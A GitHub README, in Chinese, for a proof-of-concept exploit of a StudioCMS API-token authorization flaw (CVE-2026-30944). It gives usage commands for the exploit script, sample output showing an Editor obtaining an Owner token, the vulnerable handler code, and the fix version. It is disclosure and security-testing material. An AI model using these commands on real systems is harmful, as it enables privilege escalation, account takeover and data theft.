FilipeGaudard/CVE-2026-30944-PoC
GitHub: FilipeGaudard/CVE-2026-30944-PoC
针对 StudioCMS 不安全 API Token 生成端点的 Python PoC,可利用 BOLA/IDOR 漏洞实现从 Editor 到 Owner 的权限提升。
Stars: 0 | Forks: 0
🔓 CVE-2026-30944
StudioCMS 通过不安全的 API Token 生成实现权限提升
NVD •
Advisory •
CWE-639
## 概述
**StudioCMS ≤ 0.3.0** 中的 `POST /studiocms_api/dashboard/api-tokens` 端点允许任何经过身份验证的用户(至少为 `Editor` 角色)为**任何其他用户**生成 API token,包括 `owner` 和 `admin` 账户。
该端点在请求体中接受一个 `user` 参数以指定目标用户 UUID,但**从未验证**请求用户是否有权代表该目标创建 token。这是一个典型的**失效的对象级别授权 (BOLA)** 漏洞,会导致完全的权限提升。
### 攻击流程
```
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"
"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
```
### 漏洞详情
| 字段 | 值 |
|---|---|
| **CVE** | [CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944) |
| **GHSA** | [GHSA-667w-mmh7-mrr4](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4) |
| **CVSS v3.1** | **8.8** (高危) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-639: 通过用户控制键绕过授权 |
| **CWE (次要)** | CWE-863: 不正确的授权 |
| **MITRE ATT&CK** | T1134 — 访问令牌操作 |
| **OWASP API** | API1:2023 — 失效的对象级别授权 |
| **受影响** | `studiocms ≤ 0.3.0` |
| **修复于** | `studiocms 0.4.0` |
## 目录
| 文件 | 描述 |
|---|---|
| `cve_2026_30944_poc.py` | 包含手动和自动模式的 Python 利用脚本 |
| `README.md` | 本文件 |
| `LICENSE` | MIT License |
## 前置条件
- **StudioCMS ≤ 0.3.0** (受影响版本)
- Python 3.8+
- 至少拥有 `Editor` 账户的有效凭据
```
pip install requests colorama
```
## 快速开始
### 手动利用
```
# 使用 editor 账户为 owner 生成 API token
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 保存结果到 JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
```
### 自动化测试
```
# 使用多个角色测试以确认漏洞
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
```
## 参数
### 必需
| 参数 | 描述 |
|---|---|
| `-u, --url` | 目标 StudioCMS 基础 URL |
| `--uuid` | 目标用户 UUID (例如 owner 账户) |
### 手动模式
| 参数 | 描述 |
|---|---|
| `--username` | 用于身份验证的用户名 |
| `--password` | 用于身份验证的密码 |
### 自动化测试模式
| 参数 | 描述 |
|---|---|
| `--auto-test` | 启用自动化多角色测试 |
| `--editor-user` | Editor 账户用户名 |
| `--editor-pass` | Editor 账户密码 |
| `--visitor-user` | Visitor 账户用户名 |
| `--visitor-pass` | Visitor 账户密码 |
### 可选
| 参数 | 描述 |
|---|---|
| `--save` | 将结果保存到 JSON 文件 |
| `--no-ssl-verify` | 禁用 SSL 证书验证 |
## 示例输出
### 受影响系统
```
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
```
### 已修复系统
```
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
```
## 根本原因
位于 `packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts` (第 16–57 行) 的受影响处理器接受来自 JSON 体的 `user` 参数,并在未进行授权检查的情况下将其直接传递给 token 生成函数:
```
// [1] Only checks if caller is editor — not WHO they're creating a token for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' from request body — no validation against authenticated session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Passed directly to token generation — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
```
授权模型仅验证“调用者是否至少为 editor?”,而不是“调用者是否有权为该特定用户创建 token?”
## 影响
- **权限提升** — 任何 editor 都可以提升为 owner 级别的 API 访问权限
- **完全 API 访问** — 生成的 token 授予对所有 REST 端点的不受限制的访问权限
- **账户接管** — 攻击者可以通过指定用户的 UUID 来冒充任何用户
- **数据泄露** — 访问用户列表、内容和系统配置
## 缓解措施
将 StudioCMS 更新至 **0.4.0** 或更高版本:
```
npm install studiocms@latest
```
## 法律免责声明
**本工具仅用于教育和授权安全测试目的。**
- 仅针对您拥有或获得明确书面许可测试的系统使用
- 未经授权访问计算机系统在大多数司法管辖区均属违法
- 作者对滥用本工具不承担任何责任
- 始终遵循负责任的披露做法
## 参考资料
- **CVE:** [CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944)
- **Advisory:** [GHSA-667w-mmh7-mrr4](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4)
- **CWE:** [CWE-639 — Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
- **OWASP:** [API1:2023 — Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- **MITRE ATT&CK:** [T1134 — Access Token Manipulation](https://attack.mitre.org/techniques/T1134/)
## 作者
**Filipe Gaudard**
## 许可证
本 PoC 根据 [MIT License](LICENSE) 发布,用于教育目的。请负责任且合乎道德地使用。标签:API Token, API 漏洞, BOLA, CSV导出, CVE-2026-30944, CVSS 8.8, CWE-639, Editor 用户, IDOR, NVD, PoC, StudioCMS, Web 安全, Web报告查看器, 协议分析, 授权绕过, 暴力破解, 权限提升, 网络安全, 越权访问, 逻辑漏洞, 隐私保护